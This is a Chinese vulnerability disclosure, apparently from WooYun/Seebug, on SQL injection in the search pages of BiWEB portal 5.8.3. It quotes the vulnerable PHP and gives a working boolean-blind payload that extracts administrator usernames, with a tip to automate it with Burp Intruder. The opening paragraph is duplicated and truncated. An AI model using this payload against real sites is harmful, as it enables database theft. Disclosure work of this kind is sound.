### 简要描述: BiWEB最新门户版搜索注入多枚 ### 详细说明: 在wooyun上看到了有人把biweb的shell拿到了: [WooYun: BIWEB门户版Getwebshell漏洞](http://www.wooyun.org/bugs/wooyun-2014-049746) ,也有人提了其他漏洞,我也来找找它的漏洞吧。去官网下BiWEB门户版最新的5.8.3来看看。发现BiWEB有多处搜索,都存在注入漏洞。 看看搜索处是怎么处理的。BiWEB首先对GET和POST进行了过滤,/config/filtrate.inc.php ``` <?php //过滤GET或POST的值,去除两端空格和转义符号 if ($_SERVER['REQUEST_METHOD'] == 'POST'){ check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']); }elseif($_SERVER['REQUEST_METHOD'] == 'GET'){ check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']); } ?> ``` 这里就先不说这种过滤的脑残之处了。 继续往下看,BiWEB有所有搜索处都存在同样的注入问题。举一例来说。/trade/search.php ``` 无关代码 if (empty($_GET['page'])) { $isGo = true; $intPage = 1 ; } else { $intPage = intval($_GET['page']); } if(!empty($_REQUEST['keywords'])){ $strKeywords = strval(urldecode($_REQUEST['keywords'])); if($strKeywords[0] == '/'){ //精确查询ID $strKeywords = substr($strKeywords,1); if(is_numeric($strKeywords)) $arrWhere[] = "id = '" . $strKeywords . "'"; }else{ //选定底层功能模块数组 $arrMModule =...
### 简要描述: BiWEB最新门户版搜索注入多枚 ### 详细说明: 在wooyun上看到了有人把biweb的shell拿到了: [WooYun: BIWEB门户版Getwebshell漏洞](http://www.wooyun.org/bugs/wooyun-2014-049746) ,也有人提了其他漏洞,我也来找找它的漏洞吧。去官网下BiWEB门户版最新的5.8.3来看看。发现BiWEB有多处搜索,都存在注入漏洞。 看看搜索处是怎么处理的。BiWEB首先对GET和POST进行了过滤,/config/filtrate.inc.php ``` <?php //过滤GET或POST的值,去除两端空格和转义符号 if ($_SERVER['REQUEST_METHOD'] == 'POST'){ check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']); }elseif($_SERVER['REQUEST_METHOD'] == 'GET'){ check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']); } ?> ``` 这里就先不说这种过滤的脑残之处了。 继续往下看,BiWEB有所有搜索处都存在同样的注入问题。举一例来说。/trade/search.php ``` 无关代码 if (empty($_GET['page'])) { $isGo = true; $intPage = 1 ; } else { $intPage = intval($_GET['page']); } if(!empty($_REQUEST['keywords'])){ $strKeywords = strval(urldecode($_REQUEST['keywords'])); if($strKeywords[0] == '/'){ //精确查询ID $strKeywords = substr($strKeywords,1); if(is_numeric($strKeywords)) $arrWhere[] = "id = '" . $strKeywords . "'"; }else{ //选定底层功能模块数组 $arrMModule = array('SplitWord'); //调用选定的底层功能模块 //GModuleLoad($arrMModule,$arrGModule); $strKeywords = strval(urldecode($_REQUEST['keywords'])); $arrKeywords = explode(' ', $strKeywords); foreach($arrKeywords as $v){ $v = trim($v); if(!empty($v)) $arrWhere[] = "title LIKE '%$v%'"; } $_SESSION['arrWhere']= $arrWhere; $_SESSION['strKeywords']= $strKeywords; } $arrLink[] = 'keywords=' . urlencode($strKeywords); }else if(empty($_REQUEST['keywords']) && $isGo){ check::AlertExit("错误:关键词必须填写!",-1); }else{ $arrWhere = $_SESSION['arrWhere']; $strKeywords = $_SESSION['strKeywords']; } $strWhere = implode(' AND ',$arrWhere); $strWhere = 'where '.$strWhere; $arrInfoList = $objWebInit->getInfoList($strWhere,' ORDER BY topflag DESC,submit_date DESC',($intPage-1)*$arrGPage['page_size'],$arrGPage['page_size']); $intRows = $arrInfoList['COUNT_ROWS']; unset($arrInfoList['COUNT_ROWS']); 无关代码 ``` 继续去看看getInfoList(),在/web_common5.8/php_common.php ``` function getInfoList($where='',$order='',$intStartID = 0,$intListNum = 0,$field = '*',$arrData = array(),$blCount = true,$blComplex = false){ $table = $this->tablename2; $arrData=(empty($arrData)?array():$arrData); $limit = ''; if($blComplex){ if($where != '') $where .= " and id <= ( SELECT id FROM `$table` $order LIMIT $intStartID, 1 )"; else $where = " where id <= ( SELECT id FROM `$table` $order LIMIT $intStartID, 1 )"; } if (!empty($order)) { $limit .= $order; } if (!empty($intListNum)) $limit .= " LIMIT " . $intStartID .','. $intListNum; $blFetch = false; if($field === true) { unset($this->arrGPdoDB['db_table_field']['structon_tb']); $field = implode(',',array_keys($this->arrGPdoDB['db_table_field'])); } $arrData = $this->selectDataG($table,$where,$limit,$field,$blFetch,$arrData,$blCount); if(isset($arrData[0]['structon_tb'])) $arrData = $this->loadTableFieldG($arrData); return $arrData; } ``` 然后调用同一文件中的electDataG() ``` function selectDataG($table,$where = '',$limit = '',$field = '*',$blFetch = false,$arrData = array(),$blCount = false,$blComplex = false ){ try { //$strSQL = "SELECT SQL_CALC_FOUND_ROWS $field from $table $where";效率低下,在MYSQL版本未改进之前弃用 $strSQL = "SELECT $field from $table $where $limit"; if($this->arrGPdoDB['PDO_CACHE']) { $strCacheName = md5($strSQL); $strCacheDir = ''; for($i=0;$i<32;$i+=2){ $strCacheDir .= '/'.$strCacheName[$i].$strCacheName[$i+1]; } $strCacheName = $strCacheDir.'SQL_'.$table.'_'.$strCacheName; $strCacheFile = $this->arrGPdoDB['PDO_CACHE_ROOT'].'/'.$strCacheName; $objCache = new cache($strCacheFile,$this->arrGPdoDB['PDO_CACHE_LIFETIME']); if($this->arrGPdoDB['PDO_CACHE']==1) { if($objCache->cache_is_active()) { include($strCacheFile); if($arr['COUNT_ROWS'] != '' ) $_SESSION['COUNT_ROWS'] = $arr['COUNT_ROWS']; else $arr['COUNT_ROWS'] = $_SESSION['COUNT_ROWS']; return $arr; } } } if($this->arrGPdoDB['PDO_DEBUG']) echo $strSQL.' '; $rs = $this->db->prepare($strSQL); $rs->execute($arrData); if($blFetch) $arr = $rs->fetch(); else $arr = $rs->fetchAll(); $rs = ''; if($blCount){ //$strSQL = "SELECT FOUND_ROWS()";配合SQL_CALC_FOUND_ROWS使用的 //$strSQL = "SELECT count(DISTINCT id) from $table $where"; if(!$blComplex){ $strSQL = "SELECT count(*) as num from $table $where"; if($this->arrGPdoDB['PDO_DEBUG']) echo $strSQL.' '; $rs = $this->db->query($strSQL); if(strpos($where,'GROUP') || strpos($where,'group')){ $arrTemp = $rs->fetchAll(); $arr['COUNT_ROWS'] = count($arrTemp); }else{ $arrTemp = $rs->fetch(); $arr['COUNT_ROWS'] = $arrTemp['num']; } } if($arr['COUNT_ROWS'] != '' ) $_SESSION['COUNT_ROWS'] = $arr['COUNT_ROWS']; else $arr['COUNT_ROWS'] = $_SESSION['COUNT_ROWS']; } if($this->arrGPdoDB['PDO_CACHE']){ if(isset($objCache)&&is_object($objCache)) { $somecontent = '<?php' . "\n" . '$arr = ' . var_export( $arr, true ) . ';' . "\n" . '?>'; $objCache->write_file($somecontent); } } return $arr; } catch (PDOException $e) { echo $strSQL.' '; echo 'Failed: ' . $e->getMessage().' '; } } ``` 在整个过程中没有对keywords进行任何过滤,当然,那个脑残的全局过滤直接就可以无视了。所以造成了注入。 本次测试是基于bool-based blind做的测试,payload如下 Payload: ``` %%'/**/and/**/mid((select/**/user_name/**/from/**/biweb_user/**/limit/**/0,1),1,1)='a'/**/and/**/'%'=' ``` 当biweb_user中的第一个管理员的用户名的第一个字母是’a’时,返回如下图 [<img src="https://images.seebug.org/upload/201411/15235801257539dca283aab8cabb2f789d9e576c.jpg" alt="猜测正确副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/15235801257539dca283aab8cabb2f789d9e576c.jpg) 若不是’a’,则返回如下图 [<img src="https://images.seebug.org/upload/201411/152358133cd8066605776faf287fbdb13ab5c911.jpg" alt="猜测错误副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/152358133cd8066605776faf287fbdb13ab5c911.jpg) 注入成功时,SQL的执行情况如下图 [<img src="https://images.seebug.org/upload/201411/15235828f8119d6a5a26b6f230c50176f0051e8f.jpg" alt="sql执行情况副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/15235828f8119d6a5a26b6f230c50176f0051e8f.jpg) 可以写个脚本跑,也可以使用burp的intruder来跑,根据返回内容的长度不同,就可以判断了。经测试,管理员用户名为admin。 ### 漏洞证明: bool-based blind 搜索型的注入,本例在测试前要保证“ 供求信息 ”栏目下要有信息 见 详细说明